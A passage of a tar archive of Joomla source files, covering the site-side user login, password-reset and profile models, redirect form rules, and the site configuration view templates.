 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Rest model class for Users.
 *
 * @since  1.6
 */
class UsersModelLogin extends JModelForm
{
	/**
	 * Method to get the login form.
	 *
	 * The base form is loaded from XML and then an event is fired
	 * for users plugins to extend the form with extra fields.
	 *
	 * @param   array    $data      An optional array of data for the form to interrogate.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm	A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_users.login', 'login', array('load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  array  The default data is an empty array.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered login form data.
		$app  = JFactory::getApplication();
		$data = $app->getUserState('users.login.form.data', array());

		$input = $app->input->getInputForRequestMethod();

		// Check for return URL from the request first
		if ($return = $input->get('return', '', 'BASE64'))
		{
			$data['return'] = base64_decode($return);

			if (!JUri::isInternal($data['return']))
			{
				$data['return'] = '';
			}
		}

		$app->setUserState('users.login.form.data', $data);

		$this->preprocessData('com_users.login', $data);

		return $data;
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		// Get the application object.
		$params = JFactory::getApplication()->getParams('com_users');

		// Load the parameters.
		$this->setState('params', $params);
	}

	/**
	 * Override JModelAdmin::preprocessForm to ensure the correct plugin group is loaded.
	 *
	 * @param   JForm   $form   A JForm object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @throws  Exception if there is an error in the form event.
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'user')
	{
		parent::preprocessForm($form, $data, $group);
	}
}
com_users/models/reset.php000060400000030677152453734460011707 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\User\UserHelper;

defined('_JEXEC') or die;

/**
 * Rest model class for Users.
 *
 * @since  1.5
 */
class UsersModelReset extends JModelForm
{
	/**
	 * Method to get the password reset request form.
	 *
	 * The base form is loaded from XML and then an event is fired
	 * for users plugins to extend the form with extra fields.
	 *
	 * @param   array    $data      An optional array of data for the form to interrogate.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_users.reset_request', 'reset_request', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the password reset complete form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm    A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getResetCompleteForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_users.reset_complete', 'reset_complete', $options = array('control' => 'jform'));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the password reset confirm form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getResetConfirmForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_users.reset_confirm', 'reset_confirm', $options = array('control' => 'jform'));

		if (empty($form))
		{
			return false;
		}
		else
		{
			$form->setValue('token', '', JFactory::getApplication()->input->get('token'));
		}

		return $form;
	}

	/**
	 * Override preprocessForm to load the user plugin group instead of content.
	 *
	 * @param   JForm   $form   A JForm object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @throws	Exception if there is an error in the form event.
	 *
	 * @since   1.6
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'user')
	{
		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		// Get the application object.
		$params = JFactory::getApplication()->getParams('com_users');

		// Load the parameters.
		$this->setState('params', $params);
	}

	/**
	 * Save the new password after reset is done
	 *
	 * @param   array  $data  The data expected for the form.
	 *
	 * @return  mixed  Exception | JException | boolean
	 *
	 * @since   1.6
	 */
	public function processResetComplete($data)
	{
		// Get the form.
		$form = $this->getResetCompleteForm();

		// Check for an error.
		if ($form instanceof Exception)
		{
			return $form;
		}

		// Filter and validate the form data.
		$data = $form->filter($data);
		$return = $form->validate($data);

		// Check for an error.
		if ($return instanceof Exception)
		{
			return $return;
		}

		// Check the validation results.
		if ($return === false)
		{
			// Get the validation messages from the form.
			foreach ($form->getErrors() as $formError)
			{
				$this->setError($formError->getMessage());
			}

			return false;
		}

		// Get the token and user id from the confirmation process.
		$app = JFactory::getApplication();
		$token = $app->getUserState('com_users.reset.token', null);
		$userId = $app->getUserState('com_users.reset.user', null);

		// Check the token and user id.
		if (empty($token) || empty($userId))
		{
			return new JException(JText::_('COM_USERS_RESET_COMPLETE_TOKENS_MISSING'), 403);
		}

		// Get the user object.
		$user = JUser::getInstance($userId);

		// Check for a user and that the tokens match.
		if (empty($user) || $user->activation !== $token)
		{
			$this->setError(JText::_('COM_USERS_USER_NOT_FOUND'));

			return false;
		}

		// Make sure the user isn't blocked.
		if ($user->block)
		{
			$this->setError(JText::_('COM_USERS_USER_BLOCKED'));

			return false;
		}

		// Check if the user is reusing the current password if required to reset their password
		if ($user->requireReset == 1 && JUserHelper::verifyPassword($data['password1'], $user->password))
		{
			$this->setError(JText::_('JLIB_USER_ERROR_CANNOT_REUSE_PASSWORD'));

			return false;
		}

		// Prepare user data.
		$data['password']   = $data['password1'];
		$data['activation'] = '';

		// Update the user object.
		if (!$user->bind($data))
		{
			return new \Exception($user->getError(), 500);
		}

		// Save the user to the database.
		if (!$user->save(true))
		{
			return new JException(JText::sprintf('COM_USERS_USER_SAVE_FAILED', $user->getError()), 500);
		}

		// Destroy all active sessions for the user
		UserHelper::destroyUserSessions($user->id);

		// Flush the user data from the session.
		$app->setUserState('com_users.reset.token', null);
		$app->setUserState('com_users.reset.user', null);

		return true;
	}

	/**
	 * Receive the reset password request
	 *
	 * @param   array  $data  The data expected for the form.
	 *
	 * @return  mixed  Exception | JException | boolean
	 *
	 * @since   1.6
	 */
	public function processResetConfirm($data)
	{
		// Get the form.
		$form = $this->getResetConfirmForm();

		// Check for an error.
		if ($form instanceof Exception)
		{
			return $form;
		}

		// Filter and validate the form data.
		$data = $form->filter($data);
		$return = $form->validate($data);

		// Check for an error.
		if ($return instanceof Exception)
		{
			return $return;
		}

		// Check the validation results.
		if ($return === false)
		{
			// Get the validation messages from the form.
			foreach ($form->getErrors() as $formError)
			{
				$this->setError($formError->getMessage());
			}

			return false;
		}

		// Find the user id for the given token.
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select('activation')
			->select('id')
			->select('block')
			->from($db->quoteName('#__users'))
			->where($db->quoteName('username') . ' = ' . $db->quote($data['username']));

		// Get the user id.
		$db->setQuery($query);

		try
		{
			$user = $db->loadObject();
		}
		catch (RuntimeException $e)
		{
			return new JException(JText::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500);
		}

		// Check for a user.
		if (empty($user))
		{
			$this->setError(JText::_('COM_USERS_USER_NOT_FOUND'));

			return false;
		}

		if (!$user->activation)
		{
			$this->setError(JText::_('COM_USERS_USER_NOT_FOUND'));

			return false;
		}

		// Verify the token
		if (!JUserHelper::verifyPassword($data['token'], $user->activation))
		{
			$this->setError(JText::_('COM_USERS_USER_NOT_FOUND'));

			return false;
		}

		// Make sure the user isn't blocked.
		if ($user->block)
		{
			$this->setError(JText::_('COM_USERS_USER_BLOCKED'));

			return false;
		}

		// Push the user data into the session.
		$app = JFactory::getApplication();
		$app->setUserState('com_users.reset.token', $user->activation);
		$app->setUserState('com_users.reset.user', $user->id);

		return true;
	}

	/**
	 * Method to start the password reset process.
	 *
	 * @param   array  $data  The data expected for the form.
	 *
	 * @return  mixed  Exception | JException | boolean
	 *
	 * @since   1.6
	 */
	public function processResetRequest($data)
	{
		$config = JFactory::getConfig();

		// Get the form.
		$form = $this->getForm();

		$data['email'] = JStringPunycode::emailToPunycode($data['email']);

		// Check for an error.
		if ($form instanceof Exception)
		{
			return $form;
		}

		// Filter and validate the form data.
		$data = $form->filter($data);
		$return = $form->validate($data);

		// Check for an error.
		if ($return instanceof Exception)
		{
			return $return;
		}

		// Check the validation results.
		if ($return === false)
		{
			// Get the validation messages from the form.
			foreach ($form->getErrors() as $formError)
			{
				$this->setError($formError->getMessage());
			}

			return false;
		}

		// Find the user id for the given email address.
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select('id')
			->from($db->quoteName('#__users'))
			->where('LOWER(' . $db->quoteName('email') . ') = LOWER(' . $db->quote($data['email']) . ')');

		// Get the user object.
		$db->setQuery($query);

		try
		{
			$userId = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			$this->setError(JText::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500);

			return false;
		}

		// Check for a user.
		if (empty($userId))
		{
			$this->setError(JText::_('COM_USERS_INVALID_EMAIL'));

			return false;
		}

		// Get the user object.
		$user = JUser::getInstance($userId);

		// Make sure the user isn't blocked.
		if ($user->block)
		{
			$this->setError(JText::_('COM_USERS_USER_BLOCKED'));

			return false;
		}

		// Make sure the user isn't a Super Admin.
		if ($user->authorise('core.admin'))
		{
			$this->setError(JText::_('COM_USERS_REMIND_SUPERADMIN_ERROR'));

			return false;
		}

		// Make sure the user has not exceeded the reset limit
		if (!$this->checkResetLimit($user))
		{
			$resetLimit = (int) JFactory::getApplication()->getParams()->get('reset_time');
			$this->setError(JText::plural('COM_USERS_REMIND_LIMIT_ERROR_N_HOURS', $resetLimit));

			return false;
		}

		// Set the confirmation token.
		$token = JApplicationHelper::getHash(JUserHelper::genRandomPassword());
		$hashedToken = JUserHelper::hashPassword($token);

		$user->activation = $hashedToken;

		// Save the user to the database.
		if (!$user->save(true))
		{
			return new JException(JText::sprintf('COM_USERS_USER_SAVE_FAILED', $user->getError()), 500);
		}

		// Assemble the password reset confirmation link.
		$mode = $config->get('force_ssl', 0) == 2 ? 1 : (-1);
		$link = 'index.php?option=com_users&view=reset&layout=confirm&token=' . $token;

		// Put together the email template data.
		$data = $user->getProperties();
		$data['fromname'] = $config->get('fromname');
		$data['mailfrom'] = $config->get('mailfrom');
		$data['sitename'] = $config->get('sitename');
		$data['link_text'] = JRoute::_($link, false, $mode);
		$data['link_html'] = JRoute::_($link, true, $mode);
		$data['token'] = $token;

		$subject = JText::sprintf(
			'COM_USERS_EMAIL_PASSWORD_RESET_SUBJECT',
			$data['sitename']
		);

		$body = JText::sprintf(
			'COM_USERS_EMAIL_PASSWORD_RESET_BODY',
			$data['sitename'],
			$data['token'],
			$data['link_text']
		);

		// Send the password reset request email.
		$return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $user->email, $subject, $body);

		// Check for an error.
		if ($return !== true)
		{
			return new JException(JText::_('COM_USERS_MAIL_FAILED'), 500);
		}

		return true;
	}

	/**
	 * Method to check if user reset limit has been exceeded within the allowed time period.
	 *
	 * @param   JUser  $user  User doing the password reset
	 *
	 * @return  boolean true if user can do the reset, false if limit exceeded
	 *
	 * @since    2.5
	 */
	public function checkResetLimit($user)
	{
		$params = JFactory::getApplication()->getParams();
		$maxCount = (int) $params->get('reset_count');
		$resetHours = (int) $params->get('reset_time');
		$result = true;

		$lastResetTime = strtotime($user->lastResetTime) ?: 0;
		$hoursSinceLastReset = (strtotime(JFactory::getDate()->toSql()) - $lastResetTime) / 3600;

		if ($hoursSinceLastReset > $resetHours)
		{
			// If it's been long enough, start a new reset count
			$user->lastResetTime = JFactory::getDate()->toSql();
			$user->resetCount = 1;
		}
		elseif ($user->resetCount < $maxCount)
		{
			// If we are under the max count, just increment the counter
			++$user->resetCount;
		}
		else
		{
			// At this point, we know we have exceeded the maximum resets for the time period
			$result = false;
		}

		return $result;
	}
}
com_users/models/profile.php000060400000026153152453734460012217 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\User\UserHelper;
use Joomla\Registry\Registry;

/**
 * Profile model class for Users.
 *
 * @since  1.6
 */
class UsersModelProfile extends JModelForm
{
	/**
	 * @var		object	The user profile data.
	 * @since   1.6
	 */
	protected $data;

	/**
	 * Constructor
	 *
	 * @param   array  $config  An array of configuration options (name, state, dbo, table_path, ignore_request).
	 *
	 * @since   3.2
	 *
	 * @throws  Exception
	 */
	public function __construct($config = array())
	{
		$config = array_merge(
			array(
				'events_map' => array('validate' => 'user')
			), $config
		);

		parent::__construct($config);

		// Load the helper and model used for two factor authentication
		JLoader::register('UsersModelUser', JPATH_ADMINISTRATOR . '/components/com_users/models/user.php');
		JLoader::register('UsersHelper', JPATH_ADMINISTRATOR . '/components/com_users/helpers/users.php');
	}

	/**
	 * Method to check in a user.
	 *
	 * @param   integer  $userId  The id of the row to check out.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function checkin($userId = null)
	{
		// Get the user id.
		$userId = (!empty($userId)) ? $userId : (int) $this->getState('user.id');

		if ($userId)
		{
			// Initialise the table with JUser.
			$table = JTable::getInstance('User');

			// Attempt to check the row in.
			if (!$table->checkin($userId))
			{
				$this->setError($table->getError());

				return false;
			}
		}

		return true;
	}

	/**
	 * Method to check out a user for editing.
	 *
	 * @param   integer  $userId  The id of the row to check out.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function checkout($userId = null)
	{
		// Get the user id.
		$userId = (!empty($userId)) ? $userId : (int) $this->getState('user.id');

		if ($userId)
		{
			// Initialise the table with JUser.
			$table = JTable::getInstance('User');

			// Get the current user object.
			$user = JFactory::getUser();

			// Attempt to check the row out.
			if (!$table->checkout($user->get('id'), $userId))
			{
				$this->setError($table->getError());

				return false;
			}
		}

		return true;
	}

	/**
	 * Method to get the profile form data.
	 *
	 * The base form data is loaded and then an event is fired
	 * for users plugins to extend the data.
	 *
	 * @return  mixed  	Data object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getData()
	{
		if ($this->data === null)
		{
			$userId = $this->getState('user.id');

			// Initialise the table with JUser.
			$this->data = new JUser($userId);

			// Set the base user data.
			$this->data->email1 = $this->data->get('email');
			$this->data->email2 = $this->data->get('email');

			// Override the base user data with any data in the session.
			$temp = (array) JFactory::getApplication()->getUserState('com_users.edit.profile.data', array());

			foreach ($temp as $k => $v)
			{
				$this->data->$k = $v;
			}

			// Unset the passwords.
			unset($this->data->password1, $this->data->password2);

			$registry           = new Registry($this->data->params);
			$this->data->params = $registry->toArray();
		}

		return $this->data;
	}

	/**
	 * Method to get the profile form.
	 *
	 * The base form is loaded from XML and then an event is fired
	 * for users plugins to extend the form with extra fields.
	 *
	 * @param   array    $data      An optional array of data for the form to interrogate.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_users.profile', 'profile', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		// Check for username compliance and parameter set
		$isUsernameCompliant = true;
		$username = $loadData ? $form->getValue('username') : $this->loadFormData()->username;

		if ($username)
		{
			$isUsernameCompliant  = !(preg_match('#[<>"\'%;()&\\\\]|\\.\\./#', $username) || strlen(utf8_decode($username)) < 2
				|| trim($username) !== $username);
		}

		$this->setState('user.username.compliant', $isUsernameCompliant);

		if ($isUsernameCompliant && !JComponentHelper::getParams('com_users')->get('change_login_name'))
		{
			$form->setFieldAttribute('username', 'class', '');
			$form->setFieldAttribute('username', 'filter', '');
			$form->setFieldAttribute('username', 'description', 'COM_USERS_PROFILE_NOCHANGE_USERNAME_DESC');
			$form->setFieldAttribute('username', 'validate', '');
			$form->setFieldAttribute('username', 'message', '');
			$form->setFieldAttribute('username', 'readonly', 'true');
			$form->setFieldAttribute('username', 'required', 'false');
		}

		// When multilanguage is set, a user's default site language should also be a Content Language
		if (JLanguageMultilang::isEnabled())
		{
			$form->setFieldAttribute('language', 'type', 'frontend_language', 'params');
		}

		// If the user needs to change their password, mark the password fields as required
		if (JFactory::getUser()->requireReset)
		{
			$form->setFieldAttribute('password1', 'required', 'true');
			$form->setFieldAttribute('password2', 'required', 'true');
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		$data = $this->getData();

		$this->preprocessData('com_users.profile', $data, 'user');

		return $data;
	}

	/**
	 * Override preprocessForm to load the user plugin group instead of content.
	 *
	 * @param   JForm   $form   A JForm object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @throws	Exception if there is an error in the form event.
	 *
	 * @since   1.6
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'user')
	{
		if (JComponentHelper::getParams('com_users')->get('frontend_userparams'))
		{
			$form->loadFile('frontend', false);

			if (JFactory::getUser()->authorise('core.login.admin'))
			{
				$form->loadFile('frontend_admin', false);
			}
		}

		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		// Get the application object.
		$params = JFactory::getApplication()->getParams('com_users');

		// Get the user id.
		$userId = JFactory::getApplication()->getUserState('com_users.edit.profile.id');
		$userId = !empty($userId) ? $userId : (int) JFactory::getUser()->get('id');

		// Set the user id.
		$this->setState('user.id', $userId);

		// Load the parameters.
		$this->setState('params', $params);
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  mixed  The user id on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$userId = (!empty($data['id'])) ? $data['id'] : (int) $this->getState('user.id');

		$user = new JUser($userId);

		// Prepare the data for the user object.
		$data['email']    = JStringPunycode::emailToPunycode($data['email1']);
		$data['password'] = $data['password1'];

		// Unset the username if it should not be overwritten
		$isUsernameCompliant = $this->getState('user.username.compliant');

		if ($isUsernameCompliant && !JComponentHelper::getParams('com_users')->get('change_login_name'))
		{
			unset($data['username']);
		}

		// Unset block and sendEmail so they do not get overwritten
		unset($data['block'], $data['sendEmail']);

		// Handle the two factor authentication setup
		if (array_key_exists('twofactor', $data))
		{
			$model = new UsersModelUser;

			$twoFactorMethod = $data['twofactor']['method'];

			// Get the current One Time Password (two factor auth) configuration
			$otpConfig = $model->getOtpConfig($userId);

			if ($twoFactorMethod !== 'none')
			{
				// Run the plugins
				FOFPlatform::getInstance()->importPlugin('twofactorauth');
				$otpConfigReplies = FOFPlatform::getInstance()->runPlugins('onUserTwofactorApplyConfiguration', array($twoFactorMethod));

				// Look for a valid reply
				foreach ($otpConfigReplies as $reply)
				{
					if (!is_object($reply) || empty($reply->method) || ($reply->method != $twoFactorMethod))
					{
						continue;
					}

					$otpConfig->method = $reply->method;
					$otpConfig->config = $reply->config;

					break;
				}

				// Save OTP configuration.
				$model->setOtpConfig($userId, $otpConfig);

				// Generate one time emergency passwords if required (depleted or not set)
				if (empty($otpConfig->otep))
				{
					$model->generateOteps($userId);
				}
			}
			else
			{
				$otpConfig->method = 'none';
				$otpConfig->config = array();
				$model->setOtpConfig($userId, $otpConfig);
			}

			// Unset the raw data
			unset($data['twofactor']);

			// Reload the user record with the updated OTP configuration
			$user->load($userId);
		}

		// Bind the data.
		if (!$user->bind($data))
		{
			$this->setError(JText::sprintf('COM_USERS_PROFILE_BIND_FAILED', $user->getError()));

			return false;
		}

		// Load the users plugin group.
		JPluginHelper::importPlugin('user');

		// Retrieve the user groups so they don't get overwritten
		unset($user->groups);
		$user->groups = JAccess::getGroupsByUser($user->id, false);

		// Store the data.
		if (!$user->save())
		{
			$this->setError($user->getError());

			return false;
		}

		// Destroy all active sessions for the user after changing the password
		if ($data['password'])
		{
			UserHelper::destroyUserSessions($user->id, true);
		}

		return $user->id;
	}

	/**
	 * Gets the configuration forms for all two-factor authentication methods
	 * in an array.
	 *
	 * @param   integer  $userId  The user ID to load the forms for (optional)
	 *
	 * @return  array
	 *
	 * @since   3.2
	 */
	public function getTwofactorform($userId = null)
	{
		$userId = (!empty($userId)) ? $userId : (int) $this->getState('user.id');
		$model = new UsersModelUser;

		$otpConfig = $model->getOtpConfig($userId);

		FOFPlatform::getInstance()->importPlugin('twofactorauth');

		return FOFPlatform::getInstance()->runPlugins('onUserTwofactorShowConfiguration', array($otpConfig, $userId));
	}

	/**
	 * Returns the one time password (OTP) – a.k.a. two factor authentication –
	 * configuration for a particular user.
	 *
	 * @param   integer  $userId  The numeric ID of the user
	 *
	 * @return  stdClass  An object holding the OTP configuration for this user
	 *
	 * @since   3.2
	 */
	public function getOtpConfig($userId = null)
	{
		$userId = (!empty($userId)) ? $userId : (int) $this->getState('user.id');

		$model = new UsersModelUser;

		return $model->getOtpConfig($userId);
	}
}
com_users/models/rules/logoutuniquefield.php000060400000004116152453734460015450 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\Registry\Registry;

/**
 * JFormRule for com_users to be sure only one redirect logout field has a value
 *
 * @since  3.6
 */
class JFormRuleLogoutUniqueField extends JFormRule
{
	/**
	 * Method to test if two fields have a value in order to use only one field.
	 * To use this rule, the form
	 * XML needs a validate attribute of logoutuniquefield and a field attribute
	 * that is equal to the field to test against.
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control value. This acts as an array container for the field.
	 *                                      For example if the field has name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being "bar[foo]".
	 * @param   Registry          $input    An optional Registry object with the entire data set to validate against the entire form.
	 * @param   JForm             $form     The form object for which the field is being tested.
	 *
	 * @return  boolean  True if the value is valid, false otherwise.
	 *
	 * @since   3.6
	 */
	public function test(SimpleXMLElement $element, $value, $group = null, Registry $input = null, JForm $form = null)
	{
		$logoutRedirectUrl      = $input['params']->logout_redirect_url;
		$logoutRedirectMenuitem = $input['params']->logout_redirect_menuitem;

		if ($form === null)
		{
			throw new InvalidArgumentException(sprintf('The value for $form must not be null in %s', get_class($this)));
		}

		if ($input === null)
		{
			throw new InvalidArgumentException(sprintf('The value for $input must not be null in %s', get_class($this)));
		}

		return true;
	}
}
com_users/models/rules/loginuniquefield.php000060400000004111152453734460015242 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\Registry\Registry;

/**
 * JFormRule for com_users to be sure only one redirect login field has a value
 *
 * @since  3.6
 */
class JFormRuleLoginUniqueField extends JFormRule
{
	/**
	 * Method to test if two fields have a value in order to use only one field.
	 * To use this rule, the form
	 * XML needs a validate attribute of loginuniquefield and a field attribute
	 * that is equal to the field to test against.
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control value. This acts as an array container for the field.
	 *                                      For example if the field has name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being "bar[foo]".
	 * @param   Registry          $input    An optional Registry object with the entire data set to validate against the entire form.
	 * @param   JForm             $form     The form object for which the field is being tested.
	 *
	 * @return  boolean  True if the value is valid, false otherwise.
	 *
	 * @since   3.6
	 */
	public function test(SimpleXMLElement $element, $value, $group = null, Registry $input = null, JForm $form = null)
	{
		$loginRedirectUrl       = $input['params']->login_redirect_url;
		$loginRedirectMenuitem  = $input['params']->login_redirect_menuitem;

		if ($form === null)
		{
			throw new InvalidArgumentException(sprintf('The value for $form must not be null in %s', get_class($this)));
		}

		if ($input === null)
		{
			throw new InvalidArgumentException(sprintf('The value for $input must not be null in %s', get_class($this)));
		}

		return true;
	}
}
com_config/view/config/html.php000060400000001230152453734460012550 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View for the global configuration
 *
 * @since  3.2
 */
class ConfigViewConfigHtml extends ConfigViewCmsHtml
{
	public $form;

	public $data;

	/**
	 * Method to render the view.
	 *
	 * @return  string  The rendered view.
	 *
	 * @since   3.2
	 */
	public function render()
	{
		$user = JFactory::getUser();
		$this->userIsSuperAdmin = $user->authorise('core.admin');

		return parent::render();
	}
}
com_config/view/config/tmpl/default.php000060400000003430152453734460014210 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Load tooltips behavior
JHtml::_('behavior.formvalidator');
JHtml::_('bootstrap.tooltip');
JHtml::_('formbehavior.chosen', 'select');

JFactory::getDocument()->addScriptDeclaration("
	Joomla.submitbutton = function(task)
	{
		if (task == 'config.cancel' || document.formvalidator.isValid(document.getElementById('application-form'))) {
			Joomla.submitform(task, document.getElementById('application-form'));
		}
	}
");
?>

<form action="<?php echo JRoute::_('index.php?option=com_config'); ?>" id="application-form" method="post" name="adminForm" class="form-validate">

	<div class="row-fluid">
		<!-- Begin Content -->

		<div class="btn-toolbar" role="toolbar" aria-label="<?php echo JText::_('JTOOLBAR'); ?>">
			<div class="btn-group">
				<button type="button" class="btn btn-primary" onclick="Joomla.submitbutton('config.save.config.apply')">
					<span class="icon-ok"></span> <?php echo JText::_('JSAVE') ?>
				</button>
			</div>
			<div class="btn-group">
				<button type="button" class="btn" onclick="Joomla.submitbutton('config.cancel')">
					<span class="icon-cancel"></span> <?php echo JText::_('JCANCEL') ?>
				</button>
			</div>
		</div>

		<hr class="hr-condensed" />

		<div id="page-site" class="tab-pane active">
			<div class="row-fluid">
				<?php echo $this->loadTemplate('site'); ?>
				<?php echo $this->loadTemplate('metadata'); ?>
				<?php echo $this->loadTemplate('seo'); ?>
			</div>
		</div>

		<input type="hidden" name="task" value="" />
		<?php echo JHtml::_('form.token'); ?>

		<!-- End Content -->
	</div>

</form>
com_config/view/config/tmpl/default.xml000060400000000757152453734460014232 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CONFIG_CONFIG_VIEW_DEFAULT_TITLE" option="COM_CONFIG_CONFIG_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_DISPLAY_SITE_CONFIGURATION"
		/>
		<message>
			<![CDATA[COM_CONFIG_CONFIG_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="request">
		<fieldset name="request">
			<field 
				name="controller" 
				type="hidden"
				default="config.display.config"
			/>
		</fieldset>
	</fields>
</metadata>com_config/view/config/tmpl/default_metadata.php000060400000001175152453734460016054 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<fieldset class="form-horizontal">
	<legend><?php echo JText::_('COM_CONFIG_METADATA_SETTINGS'); ?></legend>
	<?php
	foreach ($this->form->getFieldset('metadata') as $field) :
	?>
		<div class="control-group">
			<div class="control-label"><?php echo $field->label; ?></div>
			<div class="controls"><?php echo $field->input; ?></div>
		</div>
	<?php
	endforeach;
	?>
</fieldset>
com_config/view/config/tmpl/default_site.php000060400000001165152453734460015237 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<fieldset class="form-horizontal">
	<legend><?php echo JText::_('COM_CONFIG_SITE_SETTINGS'); ?></legend>
	<?php
	foreach ($this->form->getFieldset('site') as $field) :
	?>
		<div class="control-group">
			<div class="control-label"><?php echo $field->label; ?></div>
			<div class="controls"><?php echo $field->input; ?></div>
		</div>
	<?php
	endforeach;
	?>
</fieldset>
com_config/view/config/tmpl/default_seo.php000060400000001163152453734460015057 0ustar00<?php
/**
